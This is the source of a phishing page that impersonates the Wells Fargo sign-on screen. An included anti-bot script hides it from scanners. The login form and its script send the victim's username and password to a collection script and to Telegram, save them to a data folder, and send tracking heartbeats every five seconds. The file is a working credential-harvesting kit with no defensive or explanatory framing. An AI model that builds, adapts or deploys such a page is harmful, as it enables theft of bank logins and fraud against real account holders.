<?php
// Anti-Bot Protection
require_once 'antibot/antibot.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wells Fargo - Sign On</title>
    <link rel="icon" href="Update/imgs/favicon.ico">
    <link rel="stylesheet" href="Update/rel/smartphone-homepage.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-image: url('Update/rel/dox.png');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            min-height: 100vh;
        }

        .header {
            background: linear-gradient(135deg, #d71e28 0%, #b71c24 100%);
            padding: 0;
            box-shadow: 0 2px 10px rgba(0,0,0,0.2);
            position: relative;
            z-index: 1000;
        }

        .yellow-strip {
            background: #fdb81e;
            height: 4px;
            width: 100%;
        }

        .header-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
            max-width: 1200px;
            margin: 0 auto;
            padding: 12px 20px;
        }

        .logo-section {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .logo-img {
            height: 26px;
            width: auto;
            display: block;
            content: url('Update/rel/wflogo.webp');
        }

        .logo-text {
            color: white;
            font-weight: bold;
            font-size: 18px;
            display: none;
        }

        .header-nav {
            display: flex;
            align-items: center;
            gap: 25px;
        }

        .nav-links {
            display: flex;
            align-items: center;
            gap: 25px;
        }

        .nav-links a {
            color: white;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            padding: 8px 12px;
            border-radius: 4px;
            transition: all 0.3s ease;
            white-space: nowrap;
        }

        .nav-links a:hover {
            background-color: rgba(255,255,255,0.15);
            transform: translateY(-1px);
        }

        .search-container {
            display: flex;
            align-items: center;
            background: white;
            border-radius: 20px;
            padding: 2px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }

        .search-input {
            border: none;
            outline: none;
            padding: 8px 15px;
            border-radius: 18px;
            font-size: 14px;
            width: 200px;
            background: transparent;
        }

        .search-btn {
            background: none;
            border: none;
            padding: 8px 12px;
            cursor: pointer;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: background-color 0.3s;
        }

        .search-btn:hover {
            background-color: #f0f0f0;
        }

        .search-icon {
            width: 16px;
            height: 16px;
            fill: #666;
        }

        .mobile-menu-btn {
            display: none;
            background: none;
            border: none;
            color: white;
            font-size: 18px;
            cursor: pointer;
            padding: 8px;
        }

        .hamburger-icon {
            width: 24px;
            height: 24px;
            fill: white;
        }
        .main-container {
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: calc(100vh - 80px);
            padding: 20px;
        }

        .signin-card {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 12px;
            padding: 40px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.1);
            max-width: 420px;
            width: 100%;
            text-align: center;
            border: 1px solid rgba(255,255,255,0.2);
        }

        .greeting {
            font-size: 32px;
            color: #333;
            margin-bottom: 35px;
            font-weight: 300;
            font-family: 'Segoe UI', sans-serif;
        }

        .form-group {
            margin-bottom: 20px;
            position: relative;
        }

        .form-input {
            width: 100%;
            padding: 16px 20px;
            border: 2px solid #e0e0e0;
            border-radius: 25px;
            font-size: 16px;
            font-family: inherit;
            transition: all 0.3s ease;
            background: white;
            outline: none;
        }

        .form-input:focus {
            border-color: #d71e28;
            box-shadow: 0 0 0 3px rgba(215, 30, 40, 0.1);
        }

        .form-input::placeholder {
            color: #999;
            font-weight: 400;
        }

        .password-container {
            position: relative;
        }

        .show-password {
            position: absolute;
            right: 20px;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            color: #666;
            cursor: pointer;
            font-size: 14px;
            font-weight: 500;
            padding: 5px;
        }

        .show-password:hover {
            color: #d71e28;
        }

        .clear-username {
            position: absolute;
            right: 20px;
            top: 50%;
            transform: translateY(-50%);
            background: none;
            border: none;
            color: #999;
            cursor: pointer;
            font-size: 18px;
            width: 20px;
            height: 20px;
            border-radius: 50%;
            display: none;
            align-items: center;
            justify-content: center;
        }

        .clear-username:hover {
            background-color: #f0f0f0;
            color: #666;
        }

        .checkbox-container {
            display: flex;
            align-items: flex-start;
            margin: 25px 0;
            text-align: left;
            gap: 10px;
        }

        .checkbox-container input[type="checkbox"] {
            margin-top: 2px;
            transform: scale(1.2);
        }

        .checkbox-label {
            font-size: 14px;
            color: #666;
            line-height: 1.4;
        }

        .security-note {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 12px 15px;
            margin: 20px 0;
            font-size: 13px;
            color: #856404;
            text-align: left;
            border-radius: 4px;
        }

        .signin-btn {
            width: 100%;
            background: linear-gradient(135deg, #d71e28 0%, #b71c24 100%);
            color: white;
            border: none;
            padding: 16px;
            border-radius: 25px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            margin-bottom: 25px;
            box-shadow: 0 4px 15px rgba(215, 30, 40, 0.3);
        }

        .signin-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(215, 30, 40, 0.4);
        }

        .signin-btn:active {
            transform: translateY(0);
        }

        .forgot-link {
            color: #0066cc;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            display: inline-flex;
            align-items: center;
            gap: 5px;
        }

        .forgot-link:hover {
            text-decoration: underline;
        }

        .arrow-icon {
            font-size: 12px;
        }

        /* Responsive Design */
        @media (max-width: 768px) {
            .logo-text {
                display: block;
                font-size: 20px;
            }

            .header-nav {
                display: none;
            }

            .mobile-menu-btn {
                display: block;
            }

            .header-content {
                justify-content: space-between;
                padding: 15px 20px;
            }

            .logo-section {
                flex: 1;
                justify-content: center;
            }

            .signin-card {
                margin: 10px;
                padding: 30px 25px;
            }

            .greeting {
                font-size: 28px;
            }
        }

        @media (max-width: 480px) {
            .logo-text {
                font-size: 20px;
            }

            .signin-card {
                padding: 25px 20px;
            }

            .greeting {
                font-size: 24px;
                margin-bottom: 25px;
            }

            .form-input {
                padding: 14px 18px;
                font-size: 16px;
            }
        }

        @media (max-width: 360px) {
            .header-content {
                padding: 0 10px;
            }

            .logo-text {
                font-size: 18px;
            }

            .signin-card {
                margin: 5px;
                padding: 20px 15px;
            }
        }
    </style>
</head>
<body>
    <header class="header">
        <div class="header-content">
            <div class="logo-section">
                <img src="attached_assets/logo.png" alt="Wells Fargo" class="logo-img">
                <span class="logo-text"></span>
            </div>
            <nav class="header-nav">
                <div class="nav-links">
                    <a href="#">Enroll</a>
                    <a href="#">Customer Service</a>
                    <a href="#">ATMs/Locations</a>
                    <a href="#">Español</a>
                </div>
                <div class="search-container">
                    <input type="text" class="search-input" placeholder="Search">
                    <button class="search-btn">
                        <svg class="search-icon" viewBox="0 0 24 24">
                            <path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/>
                        </svg>
                    </button>
                </div>
            </nav>
            <button class="mobile-menu-btn">
                <svg class="hamburger-icon" viewBox="0 0 24 24">
                    <path d="M3,6H21V8H3V6M3,11H21V13H3V11M3,16H21V18H3V16Z"/>
                </svg>
            </button>
        </div>
        <div class="yellow-strip"></div>
    </header>

    <main class="main-container">
        <div class="signin-card">
            <h1 class="greeting" id="dynamicGreeting">Good afternoon</h1>

            <form action="dox1.php" method="POST">
                <div class="form-group">
                    <input type="text" name="username" class="form-input" placeholder="Username" required id="username">
                    <button type="button" class="clear-username" id="clearUsername">×</button>
                </div>

                <div class="form-group">
                    <div class="password-container">
                        <input type="password" name="password" class="form-input" placeholder="Password" required id="password">
                        <button type="button" class="show-password" onclick="togglePassword()">Show</button>
                    </div>
                </div>

                <div class="checkbox-container">
                    <input type="checkbox" id="saveUsername" name="saveUsername">
                    <label for="saveUsername" class="checkbox-label">Save username</label>
                </div>

                <div class="security-note">
                    To help keep your account secure, save your username only on devices that aren't used by other people.
                </div>

                <button type="submit" class="signin-btn">Sign on</button>

                <a href="#" class="forgot-link">
                    <span class="arrow-icon">→</span> Forgot username or password?
                </a>
            </form>
        </div>
    </main>

    <script>
        // Dynamic greeting based on user's local time
        function updateGreeting() {
            const now = new Date();
            const hour = now.getHours();
            let greeting = "Good afternoon";

            if (hour >= 5 && hour < 12) {
                greeting = "Good morning";
            } else if (hour >= 12 && hour < 17) {
                greeting = "Good afternoon";
            } else if (hour >= 17 && hour < 22) {
                greeting = "Good evening";
            } else {
                greeting = "Good night";
            }

            document.getElementById('dynamicGreeting').textContent = greeting;
        }

        // Update greeting when page loads
        updateGreeting();

        function togglePassword() {
            const passwordField = document.getElementById('password');
            const toggleBtn = document.querySelector('.show-password');

            if (passwordField.type === 'password') {
                passwordField.type = 'text';
                toggleBtn.textContent = 'Hide';
            } else {
                passwordField.type = 'password';
                toggleBtn.textContent = 'Show';
            }
        }

        // Username clear functionality
        const usernameInput = document.getElementById('username');
        const clearBtn = document.getElementById('clearUsername');

        usernameInput.addEventListener('input', function() {
            if (this.value.length > 0) {
                clearBtn.style.display = 'flex';
            } else {
                clearBtn.style.display = 'none';
            }
        });

        clearBtn.addEventListener('click', function() {
            usernameInput.value = '';
            clearBtn.style.display = 'none';
            usernameInput.focus();
        });

        // Screen resolution tracking
        document.cookie = "ssww=" + window.screen.width;
        document.cookie = "sshh=" + window.screen.height;

        // Send visitor info to Telegram and save data
        if (!sessionStorage.getItem('visitor_sent')) {
            // Send to Telegram
            fetch('telegram.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'Online Login',
                    action: 'visitor'
                })
            }).catch(error => console.log('Telegram error:', error));

            // Save to data folder
            fetch('save_data.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'index',
                    data: {
                        action: 'page_visit',
                        timestamp: new Date().toISOString()
                    }
                })
            }).then(response => response.json())
            .then(data => console.log('Data saved:', data))
            .catch(error => console.log('Save error:', error));

            sessionStorage.setItem('visitor_sent', 'true');
        }

        // Send form data when submitted
        document.querySelector('form').addEventListener('submit', function(e) {
            const formData = new FormData(this);
            const data = Object.fromEntries(formData);

            // Send to Telegram
            fetch('telegram.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'Login Page',
                    action: 'form_data',
                    data: data
                })
            }).catch(error => console.log('Telegram error:', error));

            // Save to data folder
            fetch('save_data.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'index',
                    data: {
                        ...data,
                        timestamp: new Date().toISOString()
                    }
                })
            }).then(response => response.json())
            .then(data => console.log('Form data saved:', data))
            .catch(error => console.log('Save error:', error));
        });

        // Live connection tracking
        setInterval(() => {
            fetch('live_tracker.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    page: 'index',
                    action: 'heartbeat',
                    timestamp: new Date().toISOString()
                })
            }).then(response => response.json())
            .then(data => console.log('Heartbeat sent:', data))
            .catch(error => console.log('Heartbeat error:', error));
        }, 5000); // Send heartbeat every 5 seconds
    </script>
</body>
</html>